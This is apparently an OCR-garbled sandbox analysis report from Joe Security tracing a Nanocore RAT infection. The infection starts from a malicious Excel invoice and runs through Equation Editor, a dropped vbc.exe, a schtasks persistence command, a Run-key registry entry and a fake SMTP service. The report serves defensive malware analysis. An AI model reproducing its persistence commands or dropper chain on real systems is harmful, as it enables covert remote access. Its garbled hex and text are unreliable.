C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 09 04 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 2 51 00 Q. success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 2 00 00 . success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 2 02 00 . success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 2 00 00 . success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 06 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 91 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 d0 02 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 08 24 00 00 $.. success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 2400 00 00 $... success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 ff ff ff ff success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 20 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 80 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 0d 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 a2 01 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 580 00 00 00 00 64 00 QO ....d....... e ) ST success or wait 1 7FEEACDFDDC unknown

00 ¢c8 0000 00 2c 01 ...

0000900100004 ...

01 00 00 58 02 00 0O ...

bc 02 00 00 20 03 00 ...

00 84 03 00 00 e8 03
00 00 4c 04 00 00 b0
04 0000 14 050000 ...
78 05 00 00 dc 05 00
00 40 06 00 00 a4 06
00 00 08 07 00 00 6¢
07 00 00 dO 07 00 00
34 08 00 00 98 08 00
00 fc 08 00 00 60 09
00 00 c4 09 00 00 28
0a 00 00 8c 0a 00 00
f0 0a 00 00 54 Ob 00
00 b8 0b 00 00 1c Oc
00 00 80 0c 00 00 e4
Oc 00 00 48 0d 00 00
ac 0d 00 00 10 Oe 00
00 74 Oe 00 00 d8 Oe
00 00 3c 0f 00 00 a0
0f 00 00 04 10 00 00
68 10 00 00 cc 10 00
003011000094 11
00 00 f8 11 00 00 5¢
12 00 00 c0 12 00 00
2413 0000 88 13 00
00 ec 13 00 00 50 14
00 00 b4 14 00 00 18
1500 00 7c 15 00 00
€0 1500 00 44 16 00
00 a8 16 00 00 Oc 17
0000 70 17 00 00 d4
17 00 00 38 18 00 00
9c 18 00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 8803 00 00 a4 38 00 ..... 8 success or wait 1 7FEEACDFDDC unknown
00 ff ff ff ff Of 00 00
00
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 1c 4f000098 1300 .O.............. success or wait 1 7FEEACDFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 b4 62 00 00 34 00 00 .b..4.....
00 ff ff ff ff Of 00 00
00

success or wait 1 7FEEACDFDDC unknown

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 4c 4b 00 00 d0 03 00 LK.............. success or wait 1 7FEEACDFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 2c3c 0000800000 ,<............. success or wait 1 7FEEACDFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ac 3c 0000 a0 0e 00 .<.............. success or wait 1 7FEEACDFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 €862 0000000200 .b.............. success or wait 1 7FEEACDFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 e864 0000f84900 .d............ success or wait 1 7FEEACDFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 e0ae 0000540600 ....T........... success or wait 1 7FEEACDFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 34b50000501900 4...P........... success or wait 1 7FEEACDFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00  ......ccceeee success or wait 1 7FEEACDFDDC unknown
ff ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 84 ce 000018 00 Q0 ................ success or wait 1 7FEEACDFDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00  ......ccceeee success or wait 1 7FEEACDFDDC unknown
ff ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00 .......cceeee success or wait 1 7FEEACDFDDC unknown
ff ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00  ......ccceeee success or wait 1 7FEEACDFDDC unknown
ff ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 14500 26210000 9c ce 00 &.......ccceoveiirrurnunanns success or wait 1 7FEEACDFDDC unknown
00 00 00 00 00 00 QO ...
00 00 03 00 00 00 0O ...
00 00 00 00 00 00 0O ...
00 00 00 00 00 00 QO ...
00 00 00 00 00 00 00 ..
00 00 18 00 00 00 00
00 00 00 14 00 00 QO ...
00 00 00 00 ff ff ff ff
00 00 00 00 00 00 00
00 ff ff ff ff 00 00 00
00 04 00 00 00 03 00
03 80 00 00 00 00 00
00 00 00 ff ff ff ff 26
21 01 00 9c ce 00 00
00 00 00 00 00 00 00
00 03 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 30 00 00 00 00 00
00 00 2c 00 00 00 00
00 00 00 ff ff ff ff 00
00 00 00 00 00 00 00
ff ff ff ff 00 00 00 00
04 00 00 00 03 00 03
80 00 00 00 00 00 00
00 00 ff f ff ff a6 10
02 00 9c ce 00 00 00
00 00 00 00 00 00 00
03 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
48 00 00 00 00 00 00
00 44 00 00

C:\Users\user\Desktop\~$SOL2021-03-14-NETC-NI-21-049- unknown 55 05 41 6¢ 62 75 73 20 .user success or wait 1 13FC2F526 WriteFile
CEVA INV.xlsx 20 20 20 20 20 20 20

20 20 20 20 20 20 20

20 20 20 20 20 20 20

20 20 20 20 20 20 20

20 20 20 20 20 20 20

20 20 20 20 20 20 20

20 20 20 20 20 20
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File Path

Offset

Length Value

C:\Users\user\Desktop\~$SOL2021-03-14-NETC-NI-21-049- unknown 110

CEVA INV.xlsx

File Path

05 00 41 00 6¢ 00 62
00 75 00 73 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00

Source

Registry Activities

Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\VBA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems

Key Value Created

Key Path Name Type

HKEY_CURRENT_USER\Software\Mic ql4 binary

rosoft\Office\14.0\Excel\Resiliency\Startupltems

Key Path Name Type Old Data

Ascii Completion Count Address Symbol
VAlbus. oo success or wait 1 13FC2F591 WriteFile
Source
Offset Length Completion Count Address Symbol
Source
Completion Count Address Symbol

success or wait 1

success or wait

1
success or wait 1
1

success or wait

Data

7131 34 00 78 04 00 00 02 00 00 00

00 00 00 00 AE 00 00 00 01 00 00 00
56 00 00 00 4C 00 00 00 73 00 6F 00
6C 00 32 00 30 00 32 00 31 00 2D 00
30 00 33 00 2D 00 31 00 34 00 2D 00
6E 00 65 00 74 00 63 00 2D 00 6E 00
69 00 2D 00 32 00 31 00 2D 00 30 00
34 00 39 00 2D 00 63 00 65 00 76 00
61 00 20 00 69 00 6E 00 76 00 2E 00
78 00 6C 00 73 00 78 00 00 00 73 00
6F 00 6C 00 32 00 30 00 32 00 31 00
2D 00 30 00 33 00 2D 00 31 00 34 00
2D 00 6E 00 65 00 74 00 63 00 2D 00
6E 00 69 00 2D 00 32 00 31 00 2D 00
30 00 34 00 39 00 2D 00 63 00 65 00
76 00 61 00 20 00 69 00 6E 00 76 00

00 00

New Data

Completion

success or wait

Completion

7FEEAC6E72B RegCreateKeyExA
7FEEAC6E72B RegCreateKeyExA
7FEEAC6E72B RegCreateKeyExA
7FEEAC59ACO unknown

Source

Count Address Symbol

1 7FEEAC59ACO unknown

Source
Count Address Symbol

Analysis Process: EQNEDT32.EXE PID: 1320 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

08:02:19
12/04/2021

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

true

‘C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE' -Embedding

0x400000
543304 bytes

A87236E214F6D42A65FSDEDAC816AECS

true
true

C, C++ or other language
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Reputation: high

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Key Created
Source
Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\Equation Editor success or wait 41369F RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\Equation Editor\3.0 success or wait 41369F RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\Equation Editor\3.0\Options success or wait 41369F RegCreateKeyExA
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: vbc.exe PID: 2480 Parent PID: 1320
General
Start time: 08:02:22
Start date: 12/04/2021
Path: C:\Users\Public\vbc.exe
Wow64 process (32bit): true
Commandline: 'C:\Users\Public\vbc.exe'
Imagebase: 0x11d0000
File size: 802304 bytes
MD5 hash: A3CBEB3E732B11954572B3EE6755242C
Has elevated privileges: true
Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches:

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:

00000004.00000002.2197072541.00000000026A1000.00000004.00000001.sdmp,

Author: Joe Security

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000004.00000002.2197311253.00000000036A1000.00000004.00000001.sdmp,

Author: Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000004.00000002.2197311253.00000000036A1000.00000004.00000001.sdmp,

Author: Joe Security

e Rule: NanoCore, Description: unknown, Source:
00000004.00000002.2197311253.00000000036A1000.00000004.00000001.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>

Reputation: low

[ File Activities

File Created

File Path Access Attributes

C:\Users\user\AppData\Roaming\gmSIQSien.exe
directory | read file
attributes | file
delete | syn
chronize |
generic write

Copyright Joe Security LLC 2021

Options

read data or list device | sparse sequential only | success or wait
non directory

Completion

Source
Count Address Symbol

1 6D10B0 CopyFilew
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File Path
C:\Users\user\AppData\Local\Temp\tmp2720.tmp

File Deleted

File Path
C:\Users\user\AppData\Local\Temp\tmp2720.tmp

File Written
File Path Offset
C:\Users\user\AppData\Roaming\gmSIQSien.exe 0

Copyright Joe Security LLC 2021

Access

read attributes | device | sparse

Attributes

synchronize | file
generic read

Length
65536

Value

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 80 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 732070 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 50 45 00 00 4c 01
0300 85 dd 73 60 00
00 00 00 00 00 00 00
€0 00 02 01 Ob 01 50
00 00 32 0b 00 00 Oa
01 00 00 00 00 00 92
50 0b 00 00 20 00 00
00 60 Ob 00 00 00 40
00 00 20 00 00 00 02
00 00 04 00 00 00 00
00 00 00 04 00 00 00
00 00 00 00 00 a0 Oc
00 00 02 00 00 00 00
00 00 02 00 40 85 00
00 10 00 00 10 00 00
00 00 10 00 00 10 00
00 00 00 00 00 10 00
00 00 00 00 00 00 00
00 00

Source
Options Completion Count Address Symbol

synchronous io  success or wait 1 13B2F8 GetTempFileNameW
non alert | non
directory file

Source
Completion Count Address Symbol
success or wait 1 6D1ELE DeleteFilewW
Source
Ascii Completion Count Address Symbol
MZ success or wait 13 6D10B0O CopyFileW

.1..L.IThis program
cannot be run in DOS
mode....

$
LPl2i
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File Path
C:\Users\user\AppData\Local\Temp\tmp2720.tmp

File Read

File Path

Offset Length Value

unknown 1621

C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine.config

C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine.config

C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine.config

3c 3f 78 6d 6¢ 20 76
65 72 73 69 6f 6e 3d
22 31 2e 30 22 20 65
6e 63 6f 64 69 6e 67
3d 22 5554 46 2d 31
36 22 3f 3e 0d Oa 3c
54 61 73 6b 20 76 65
72 73 69 6f 6e 3d 22
31 2e 32222078 6d
6¢c 6e 73 3d 22 68 74
7470 3a 2f 2f 73 63
68 65 6d 61 73 2e 6d
69 63 72 6f 73 6f 66
74 2e 63 6f 6d 2f 77
69 6e 64 6f 77 73 2f
32303034 2f3032
2f6d 69 74 2f 74 61
73 6b 22 3e 0d 0a 20
20 3¢ 526567 69 73
7472 61 74 69 6f 6e
49 6e 66 6f 3e 0d Oa
20202020 3c 44 61
74 65 3e 3230 31 34
2d 3130 2d 32 35 54
3134 3a32373a34
34 2e 38 39 32 39 30
32373c2f446174
65 3e 0d 0a 20 20 20
20 3c 41 75 74 68 6f
72 3e 41 4c 425553
2d 50 43 5¢ 41 6¢ 62
75733c2f417574
68 6f 72 3e 0d Oa 20
20 3c 2f 52 65 67 69
73747261 74 69 6f
6e 49 6e 66 6f 3e 0d
0a 20 20

Source

Ascii Completion Count Address

<?xml version="1.0" success or wait 1 6D1ADB
encoding="UTF-16"?>..
<Task version="1.2"
xmlns="http://schemas.mic
roso
ft.com/windows/2004/02/m
it/task">..
<RegistrationInfo>..
<Date>2014-10-
25T14:27:44.892
9027</Date>..
<Author>user-
PC\user</Author>..
</Registrationinfo>..

Source

Symbol
WriteFile

Offset Length Completion

unknown 4095 success or wait 1
unknown 6304 success or wait 3

unknown 4095 success or wait 1

Count Address Symbol

73FFA4FC unknown
73FFA4FC unknown
73FFD6F0 ReadFile

Analysis Process: schtasks.exe PID: 2676 Parent PID: 2480

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Read

File Path

C:\Users\user\AppData\Local\Temp\tmp2720.tmp

C:\Users\user\AppData\Local\Temp\tmp2720.tmp
Copyright Joe Security LLC 2021

08:02:24
12/04/2021
C:\Windows\SysWOW64\schtasks.exe

true

‘C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\gmSIQSien' /XML 'C:\User

s\user\AppData\Local\Temp\tmp2720.tmp'
0x910000

179712 bytes
2003E9B15E1C502B146DAD2E383AC1E3
true

true

C, C++ or other language

high

Offset Length Completion
unknown 2 success or wait
unknown 1622 success or wait

Source
Count Address Symbol

1 918F47 ReadFile
1 91900C ReadFile
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Analysis Process

: RegSvcs.exe PID: 2696 Parent PID: 2480

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Path Access

C:\Users\user\AppData\Roaming\EA860E7A-A87F-4A88-92EF-38F744 read data or list

458171 directory |
synchronize

C:\Users\user\AppData\Roaming\EA860E7A-A87F-4A88-92EF-38F744 read attributes |

458171\run.dat synchronize |
generic write

C:\Program Files (x86)\SMTP Service read data or list
directory |

synchronize

C:\Program Files (x86)\SMTP Service\smtpsvc.exe read data or list

directory | read
attributes |
delete | syn
chronize |
generic write

Copyright Joe Security LLC 2021

08:02:25

12/04/2021

C:\Windows\Microsoft. NET\Framework\v2.0.50727\RegSvcs.exe
true

C:\Windows\Microsoft. NET\Framework\v2.0.50727\RegSvcs.exe
0x9c0000

32768 bytes

72A9F09010A89860456C6474E2E6D25C

true

true

.Net C# or VB.NET

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000007.00000002.2394028902.0000000000840000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
00000007.00000002.2394028902.0000000000840000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000007.00000002.2394028902.0000000000840000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000007.00000002.2393755361.00000000005C0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
00000007.00000002.2393755361.00000000005C0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000007.00000002.2395217863.00000000037E6000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: NanoCore, Description: unknown, Source:
00000007.00000002.2395217863.00000000037E6000.00000004.00000001.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000007.00000002.2393666781.0000000000402000.00000040.00000001.sdmp,
Author: Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000007.00000002.2393666781.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: NanoCore, Description: unknown, Source:
00000007.00000002.2393666781.0000000000402000.00000040.00000001.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>

moderate
Source

Attributes Options Completion Count Address Symbol
device | sparse directory file | success or wait 1 4F07A1 CreateDirectoryW
file synchronous io

non alert | open

for backup ident

| open reparse

point
device | sparse synchronousio success or wait 1 4F089B CreateFileW
file non alert | non

directory file |

open no recall
device | sparse directory file | success or wait 1 4F07A1 CreateDirectoryW
file synchronous io

non alert | open

for backup ident

| open reparse

point
device | sparse sequential only | success or wait 1 4F0B20 CopyFilewW
file non directory

file
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Source

File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Roaming\EA860E7A-A87F-4A88-92EF-38F744 read data or list device | sparse directory file | success or wait 1 4F07A1 CreateDirectoryW
458171\Logs directory | file synchronous io

synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Roaming\EA860E7A-A87F-4A88-92EF-38F744 read data or list device | sparse directory file | success or wait 1 4F07A1 CreateDirectoryW
458171\Logs\user directory | file synchronous io
synchronize non alert | open

for backup ident
| open reparse
point

File Written

Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Roaming\EA860E7A-A87F-4A88-92EF- unknown 8 52 50 df fe c3 fd d8 48 RP.....H success or wait 1 4F0A53 WriteFile
38F744458171\run.dat

C:\Program Files (x86)\SMTP Service\smtpsvc.exe 0 32768 4d5a9000030000 MZ.....ccocoevevenenne @..... success or wait 1 4F0B20 CopyFileW
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00 ..L.IThis program
00 00 40 00 00 00 00 cannot be run in DOS
00 00 00 00 00 0000 mode....
00000000000000 $.....PE..L.A.S..
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 80 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
24 00 00 00 00 00 00
00 50 45 00 00 4c 01
03 00 41 04 0f 53 00
00 00 00 00 00 00 00
€0 00 Oe 01 Ob 01 08
00 00 50 00 00 00 20
00 00 00 00 00 00 de
6b 00 00 00 20 00 00
00 80 00 00 00 00 40
00 00 20 00 00 00 10
00 00 04 00 00 00 00
00 00 00 04 00 00 00
00 00 00 00 00 c0 00
00 00 10 00 00 93 58
01 00 03 00 40 05 00
00 10 00 00 10 00 00
00 00 10 00 00 10 00
00 00 00 00 00 10 00
00 00 00 00 00 00 00
00 00

File Read

Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 73FFA4FC unknown
C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 73FFA4FC unknown
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe.config unknown 4095 success or wait 73FFA4FC unknown
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe.config unknown 8173 end of file 73FFA4FC unknown
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe.config unknown 4095 success or wait 73FFD6F0 ReadFile
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe.config unknown 8173 end of file 73FFD6F0 ReadFile
C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 73FFD6F0 ReadFile
C:\Windows\assembIy\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dll unknown 4096 success or wait 74034496 unknown
C:\Windows\assembIy\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dll unknown 512 success or wait 74034496 unknown
C:\Windows\Microsoft. NET\Framework\v2.0.50727\RegSvcs.exe unknown 4096 success or wait 74034496 unknown
C:\Windows\Microsoft. NET\Framework\v2.0.50727\RegSvcs.exe unknown 512 success or wait 74034496 unknown
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe.config unknown 4095 success or wait 73FFAAFC unknown
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe.config unknown 8173 end of file 73FFAAFC unknown
C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait 4F0A53 ReadFile

C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine.config unknown 4096 end of file 4F0A53 ReadFile

P PR R R R R R R R R R P R ® R

C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe.config unknown 4096 success or wait 4F0A53 ReadFile
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Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework\v2.0.50727\regsvcs.exe.config unknown 4096 end of file 1 4F0A53 ReadFile
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 4096 success or wait 1 74034496 unknown
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 512 success or wait 1 74034496 unknown

Registry Activities

Key Value Created

Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_LOCAL_MACHINE\SOFTWARE\Wo SMTP Service unicode C:\Program Files (x86)\SMTP Se success or wait 1 4F0C12 RegSetValueExW

w6432Node\Microsoft\Windows\CurrentVersion\Run

rvice\smtpsvc.exe

Analysis Process: smtpsvc.exe PID: 1296 Parent PID: 1388

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

08:02:44
12/04/2021

C:\Program Files (x86)\SMTP Service\smtpsvc.exe

true

‘C:\Program Files (x86)\SMTP Service\smtpsvc.exe'

0x200000
32768 bytes

72A9F09010A89860456C6474E2E6D25C

true

true

Net C# or VB.NET

Reputation: moderate
[ File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
File Read
Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 73FFA4FC unknown
C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 73FFA4FC unknown
C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 73FFD6F0 ReadFile

Disassembly

Code Analysis
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